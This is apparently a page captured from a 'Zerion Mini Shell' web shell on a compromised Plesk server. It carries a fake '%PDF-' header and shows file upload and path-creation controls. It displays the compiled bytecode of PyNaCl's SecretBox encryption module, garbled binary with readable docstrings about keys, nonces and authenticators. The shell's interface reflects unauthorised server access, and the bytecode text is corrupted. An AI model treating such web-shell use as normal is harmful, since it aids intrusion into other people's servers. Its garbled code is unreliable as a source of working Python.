%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/
Upload File :
Create Path :
Current File : //opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/secret.pyc

�
�֫[c@`s�ddlmZmZmZddlZddlmZddlmZddl	m
Z
mZmZdej
eefd��YZdS(i(tabsolute_importtdivisiontprint_functionN(tencoding(t
exceptions(tEncryptedMessagetStringFixertrandomt	SecretBoxcB`szeZdZejjZejjZejj	Z
ejjZe
jd�Zd�Zde
jd�Zde
jd�ZRS(s5
    The SecretBox class encrypts and decrypts messages using the given secret
    key.

    The ciphertexts generated by :class:`~nacl.secret.Secretbox` include a 16
    byte authenticator which is checked as part of the decryption. An invalid
    authenticator will cause the decrypt function to raise an exception. The
    authenticator is not a signature. Once you've decrypted the message you've
    demonstrated the ability to create arbitrary valid message, so messages you
    send are repudiable. For non-repudiable messages, sign them after
    encryption.

    :param key: The secret key used to encrypt and decrypt messages
    :param encoder: The encoder class used to decode the given key

    :cvar KEY_SIZE: The size that the key is required to be.
    :cvar NONCE_SIZE: The size that the nonce is required to be.
    :cvar MACBYTES: The size of the authentication MAC tag in bytes.
    :cvar MESSAGEBYTES_MAX: The maximum size of a message which can be
                            safely encrypted with a single key/nonce
                            pair.
    cC`sk|j|�}t|t�s0tjd��nt|�|jkr^tjd|j��n||_dS(Ns'SecretBox must be created from 32 bytess%The key must be exactly %s bytes long(	tdecodet
isinstancetbytestexct	TypeErrortlentKEY_SIZEt
ValueErrort_key(tselftkeytencoder((sB/opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/secret.pyt__init__4scC`s|jS(N(R(R((sB/opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/secret.pyt	__bytes__AscC`s�|dkrt|j�}nt|�|jkrLtjd|j��ntjj|||j	�}|j
|�}|j
|�}tj|||j
||��S(sL
        Encrypts the plaintext message using the given `nonce` (or generates
        one randomly if omitted) and returns the ciphertext encoded with the
        encoder.

        .. warning:: It is **VITALLY** important that the nonce is a nonce,
            i.e. it is a number used only once for any given key. If you fail
            to do this, you compromise the privacy of the messages encrypted.
            Give your nonces a different prefix, or have one side use an odd
            counter and one an even counter. Just make sure they are different.

        :param plaintext: [:class:`bytes`] The plaintext message to encrypt
        :param nonce: [:class:`bytes`] The nonce to use in the encryption
        :param encoder: The encoder to use to encode the ciphertext
        :rtype: [:class:`nacl.utils.EncryptedMessage`]
        s'The nonce must be exactly %s bytes longN(
tNoneRt
NONCE_SIZERRRtnacltbindingstcrypto_secretboxRtencodeRt_from_parts(Rt	plaintexttnonceRt
ciphertextt
encoded_noncetencoded_ciphertext((sB/opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/secret.pytencryptDscC`s�|j|�}|dkr8||j }||j}nt|�|jkrftjd|j��ntjj|||j	�}|S(s�
        Decrypts the ciphertext using the `nonce` (explicitly, when passed as a
        parameter or implicitly, when omitted, as part of the ciphertext) and
        returns the plaintext message.

        :param ciphertext: [:class:`bytes`] The encrypted message to decrypt
        :param nonce: [:class:`bytes`] The nonce used when encrypting the
            ciphertext
        :param encoder: The encoder used to decode the ciphertext.
        :rtype: [:class:`bytes`]
        s'The nonce must be exactly %s bytes longN(
R	RRRRRRRtcrypto_secretbox_openR(RR RRR((sB/opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/secret.pytdecryptis

N(t__name__t
__module__t__doc__RRtcrypto_secretbox_KEYBYTESRtcrypto_secretbox_NONCEBYTESRtcrypto_secretbox_MACBYTEStMACBYTESt!crypto_secretbox_MESSAGEBYTES_MAXtMESSAGEBYTES_MAXRt
RawEncoderRRRR#R%(((sB/opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/secret.pyRs
	%(t
__future__RRRt
nacl.bindingsRRRRt
nacl.utilsRRRt	EncodabletobjectR(((sB/opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/secret.pyt<module>s


Zerion Mini Shell 1.0